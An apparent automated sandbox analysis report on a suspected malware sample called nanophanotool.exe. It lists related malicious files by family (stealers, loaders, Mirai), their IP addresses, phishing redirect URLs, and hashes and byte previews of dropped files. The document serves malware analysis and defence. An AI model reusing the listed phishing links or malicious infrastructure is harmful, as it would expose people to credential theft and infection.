                                                                                                                                                                                                162.159.61.3Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.emlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                  Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                    FW_ _Reminder_ Membership Credit Verification - TPIS Industrial Services_ LLC.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      SADP.zipGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        List of Required items xlsx.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                                                                                          ab.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                                                                                            my2gf4tNEk.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                              17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                sF5nNt8usL.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  oLY6JbNl9i.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    chrome.cloudflare-dns.comhttps://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4IGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                    List of Required items xlsx.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                    ab.vbsGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                    my2gf4tNEk.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                    my2gf4tNEk.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                    17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                    sF5nNt8usL.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                    oLY6JbNl9i.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                    9aTcxCmLgM.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.64.41.3
                                                                                                                                                                                                                    4l5IFxl9t3.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.61.3
                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    CLOUDFLARENETUSfile.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                    • 104.21.48.1
                                                                                                                                                                                                                    letter_sjoslin_odeonuk.com.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 104.17.55.22
                                                                                                                                                                                                                    Client-built.exeGet hashmaliciousDiscord RatBrowse
                                                                                                                                                                                                                    • 162.159.135.234
                                                                                                                                                                                                                    KrnlSetup.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 104.20.3.235
                                                                                                                                                                                                                    Client-built.exeGet hashmaliciousDiscord RatBrowse
                                                                                                                                                                                                                    • 162.159.135.234
                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 104.21.96.1
                                                                                                                                                                                                                    sjoslin@odeonuk.com_print.svgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.156.226
                                                                                                                                                                                                                    document.pif.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                                    • 172.67.177.134
                                                                                                                                                                                                                    sjoslin@odeonuk.com_print.svgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.156.226
                                                                                                                                                                                                                    Statement 2024-11-29 (K07234).exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                    • 104.26.12.205
                                                                                                                                                                                                                    CLOUDFLARENETUSfile.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                    • 104.21.48.1
                                                                                                                                                                                                                    letter_sjoslin_odeonuk.com.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 104.17.55.22
                                                                                                                                                                                                                    Client-built.exeGet hashmaliciousDiscord RatBrowse
                                                                                                                                                                                                                    • 162.159.135.234
                                                                                                                                                                                                                    KrnlSetup.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 104.20.3.235
                                                                                                                                                                                                                    Client-built.exeGet hashmaliciousDiscord RatBrowse
                                                                                                                                                                                                                    • 162.159.135.234
                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 104.21.96.1
                                                                                                                                                                                                                    sjoslin@odeonuk.com_print.svgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.156.226
                                                                                                                                                                                                                    document.pif.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                                                                                                    • 172.67.177.134
                                                                                                                                                                                                                    sjoslin@odeonuk.com_print.svgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.156.226
                                                                                                                                                                                                                    Statement 2024-11-29 (K07234).exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                    • 104.26.12.205
                                                                                                                                                                                                                    DE-FIRSTCOLOwwwfirst-colonetDEboatnet.x86.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 31.172.83.147
                                                                                                                                                                                                                    boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 31.172.83.147
                                                                                                                                                                                                                    boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 31.172.83.147
                                                                                                                                                                                                                    boatnet.mips.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 31.172.83.147
                                                                                                                                                                                                                    boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 31.172.83.147
                                                                                                                                                                                                                    GRIM_STEAK.elfGet hashmaliciousSliverBrowse
                                                                                                                                                                                                                    • 159.100.17.221
                                                                                                                                                                                                                    https://www.upload.ee/files/17435967/DeltaAirLines_t.delta.com.txt.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 185.26.99.58
                                                                                                                                                                                                                    loligang.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 159.102.45.215
                                                                                                                                                                                                                    https://www.campus-teranga.com/public/redirect?url=https://lhbroker.com/bm/#XYWxleGFuZGVyLmtlZHppb3JAYXNodXJzdC5jb20=Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                    • 79.133.51.117
                                                                                                                                                                                                                    https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://www.pyqabogados.com/nvdr/#z9Blg4PffR15rdjx3abrahaWPysq07vg4Prgg4PnWPyR15nLh6yukplz9Bjx3z9BR15WPyGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                    • 212.224.107.113
                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    a0e9f5d64349fb13191bc781f81f42e1file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    sjoslin@odeonuk.com_print.svgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    SC3sPWT51E.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    4C1bAkWboc.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    SC3sPWT51E.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    ro7MnkIxJk.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                    • 172.67.163.8
                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\254268\Ford.com5y2VCFOB05.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                      5y2VCFOB05.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                        PQwHxAiBGt.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                          file.exeGet hashmaliciousAmadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                            file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              SeT_up.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                Setup.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                  6duXSAApsY.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                    6duXSAApsY.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                      mod01_pdf.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):65552
                                                                                                                                                                                                                                        Entropy (8bit):0.01261857931136298
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:mvFlGlll/l/lXp9ZjrPBY0eltw/JP:mvF0dPBY0ee
                                                                                                                                                                                                                                        MD5:86611D086850520E94B536880B72FBAC
                                                                                                                                                                                                                                        SHA1:C3750F6AB93EE84FF1F6F07A40F9B1ADD616351D
                                                                                                                                                                                                                                        SHA-256:04863AC92A7B69CBDC373AE4BA6DFB858C0BAE2FEC17710F5E2B8218D799341B
                                                                                                                                                                                                                                        SHA-512:2401D494B5C58F5AD82B355DFC223B9B202D14F0E4849352C80BCDE06FA761BF0F97C838B8F816ED90D26C90B4D3931D1D37C18559C555EED6F4CB18C12B4803
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.nz@........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                        Entropy (8bit):1.5
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:R:R
                                                                                                                                                                                                                                        MD5:F49655F856ACB8884CC0ACE29216F511
                                                                                                                                                                                                                                        SHA1:CB0F1F87EC0455EC349AAA950C600475AC7B7B6B
                                                                                                                                                                                                                                        SHA-256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
                                                                                                                                                                                                                                        SHA-512:599E93D25B174524495ED29653052B3590133096404873318F05FD68F4C9A5C9A3B30574551141FBB73D7329D6BE342699A17F3AE84554BAB784776DFDA2D5F8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:EERF
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:Matlab v4 mat-file (little endian) (, numeric, rows 0, columns 16, imaginary
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):65536
                                                                                                                                                                                                                                        Entropy (8bit):0.030809935742810716
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6:U9q0sRKUEZ+lX1wDbkFvRmrCmjt72Hrn:91RKQ1wDovRmN2L
                                                                                                                                                                                                                                        MD5:2CC193A719AE988D6D12D7B524B5A8DC
                                                                                                                                                                                                                                        SHA1:261EF8D5CC070D698243291E6BDE0683D7D9B947
                                                                                                                                                                                                                                        SHA-256:9C115C80F7E7BAE5CDF52F479D6E1DFB5D30992BC6F1D7D3A1D4215A46DFD74A
                                                                                                                                                                                                                                        SHA-512:091B4AEB418865926EAE657885A56574565AB4E288D29C08B9467EFE49AE11F8D36B24E385866461145D0B293F6563D363DC5B05AC077E7B70ED97AB965B1DD8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:....................(....x:no.&A.e.u~+..C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.p.w.U.V.U.f.A.x.O.a.i.N.A.a.Y.4.2.b.y.6.g.N.E.j.E.K.\.N.a.n.o.T.o.o.l...e.x.e.........................(...p.DJ!.IL.....Zm.F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):3008
                                                                                                                                                                                                                                        Entropy (8bit):5.484205927106617
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:48:JizsSU4xymdajms4RIoUxqr9t5/78NQffii+RlxJZKaVEouYAgwd64rHLjtvN:JizlHxvJsIfeqrh7KWK7J5Eo9AdrxN
                                                                                                                                                                                                                                        MD5:59457328DED6B578A364715D14EC9BA9
                                                                                                                                                                                                                                        SHA1:07889832F8B8CA8A8F2C820EF807ED92C2C4DB9E
                                                                                                                                                                                                                                        SHA-256:B46FE13744659CB384C552CFD6986658C6E9957C91D2BDD66C4D42347D14CF04
                                                                                                                                                                                                                                        SHA-512:ADF065DEEAFA79B3EB181D6B57B114F60587B27C86C7868FF6430A7165481274A5A1917B0CB0A070AD8DE613C3B725FBA04B291511F04FB3751E1AD5C75608E8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:@...e.................................Y..............@..........H..............@-....f.J.|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............
                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                        Category:modified
                                                                                                                                                                                                                                        Size (bytes):947288
                                                                                                                                                                                                                                        Entropy (8bit):6.630612696399572
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                                                                                                                                                                                                                        MD5:62D09F076E6E0240548C2F837536A46A
                                                                                                                                                                                                                                        SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                                                                                                                                                                                                                        SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                                                                                                                                                                                                                        SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                                                                                                        • Filename: 5y2VCFOB05.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 5y2VCFOB05.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: PQwHxAiBGt.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: SeT_up.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: Setup.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 6duXSAApsY.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: 6duXSAApsY.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: mod01_pdf.lnk, Detection: malicious, Browse
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):450300
                                                                                                                                                                                                                                        Entropy (8bit):7.999584867830457
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:12288:qtNJzpgvpkJFetKE4hUp9JFUi/Vhfq7Def:qtPzetKEcetdTq7Sf
                                                                                                                                                                                                                                        MD5:96317101A8D33104E56A238B4B16A707
                                                                                                                                                                                                                                        SHA1:4F1CA81E12E0D4AAF4DAC5B467D6C93B8F872443
                                                                                                                                                                                                                                        SHA-256:B7B953F90EFA4CF113887458BAFAB62A1A2966B4532908F43DE92D4FA4BDA2F1
                                                                                                                                                                                                                                        SHA-512:26FF4748C18A3904CCD61810B616A9D2C9C98F9D581A4860BC4AF895726B08F17345082984B4985490C1B4D6435CEB0788CC8F6FD238A2C296BFB49ECA2D8C1A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:D..9._....'..1I.:2......g<.v....&....K...~.+z...5_~Z..a...g"..9.#..?....T.c.h6w).@p.../%....h4E..u.iT+.?h....S..'`.~zB..3Yt......`.Y.....iZ0'....A.|O.3{.!.W..|;..;..9.K$...r]8D.........|CM\...G..9\O..X.}K......K>#h..].../N.~.1ip...hH.UB.V....)....q5..~...B.p.#=..........yR7[%...M.;..H..x&.J..a.P*...]s..0,I8.C.ci+.........!...].......K...}?....sf_4D....p.).ks.5o.j.:}*.:._....(Zv).A@.R)."..S.d.L....$....2..'+j.....eU.g#[.........Qqt...k...B..A....m.\..........@1..t..`&..H.....P.l..W..z.FM.br...N.I..8...U..&rY*...`.>z..8.}.v.......g%.$Zf'E.HL6.0.........{..id.R.8...:K. yj./.IF.E=....9.pEL...Z.7.-X{J8.`.:s.'1.2$'.Uw.......|.MyV6.G....8..i)H..U.sa.e]uv.2%...&...w.Z4.J>..y...B.......Sr..o.kB.v.Dj}gW.......A..f.L.;*.....e.f6.....&.....1.sW....$;.Rv....$...hI.?...&..BON*.. .@...B....Ob......9R.,/....'W....@%~.*......}1s.;....k..Bu...3.#k..Zq......P...n....p.jl..A.r.....t...n..iA.....&v.O.....Y....".p8...|...l..+..1%.K.......EP...FVO_..........<
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1096
                                                                                                                                                                                                                                        Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                        MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                        SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                        SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                        SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:HTML document, ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):8312662
                                                                                                                                                                                                                                        Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                        MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                        SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                        SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                        SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):160084992
                                                                                                                                                                                                                                        Entropy (8bit):6.744040286676365
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1572864:3LBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:3ypCmJctBjj2+Jv
                                                                                                                                                                                                                                        MD5:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        SHA1:39ECD0D72B0DB7FCCFC7E85F1EA89D236547A8AF
                                                                                                                                                                                                                                        SHA-256:9F958B85DC42AC6301FE1ABFD4B11316B637C0B8C0BF627C9B141699DC18E885
                                                                                                                                                                                                                                        SHA-512:B15D3BDA1E9F4886ED72EA681C50CB495DB4C9FBC6C3BA553D93AD8C227A0D8AABC1A799B912D61C90C1D4BFC478B6509BEF2E2E661E949D1C3301F0B389521D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...T.......F.........@..........................................`...........................................+.. ..0"..h............Pt.._@..........P.......!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc......P........|.............@..B................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):127125
                                                                                                                                                                                                                                        Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                        MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                        SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                        SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                        SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):177406
                                                                                                                                                                                                                                        Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                        MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                        SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
